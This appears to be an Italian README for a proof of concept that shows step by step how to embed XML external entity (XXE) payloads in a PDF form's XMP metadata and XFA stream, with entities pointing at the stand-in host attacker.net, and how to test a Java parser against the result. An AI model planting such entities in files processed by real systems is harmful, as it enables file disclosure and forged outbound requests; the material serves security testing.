
Ottieni un PDF contenente un modulo:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
Per farlo, devi decomprimere il PDF con qpdf --qdf --object-streams=disable input.pdf output.pdf; poi puoi modificare il PDF con un editor di testo e aggiungere XML malevolo.
Puoi inserire XEE nei metadati XMP alla riga 77:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
E ovviamente inserisci anche il riferimento da qualche parte, ad esempio alla riga 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
Puoi anche aggiungere una XXE comune al file. Vedi questa parte nel documento originale (inizia alla riga 740):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Modificala come segue:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Quindi, aggiungi semplicemente il riferimento da qualche parte, ad esempio al campo City (riga 1845 nel documento decompresso originale). Cambia questo:
<text
>City:</text
></value
>
Con questo:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
Trovi anche il PDF patchato contenente entrambe le XXE in questo repository (output_with_xxe.pdf).
Esegui l'app Java per testare il PDF con mvn clean compile exec:java.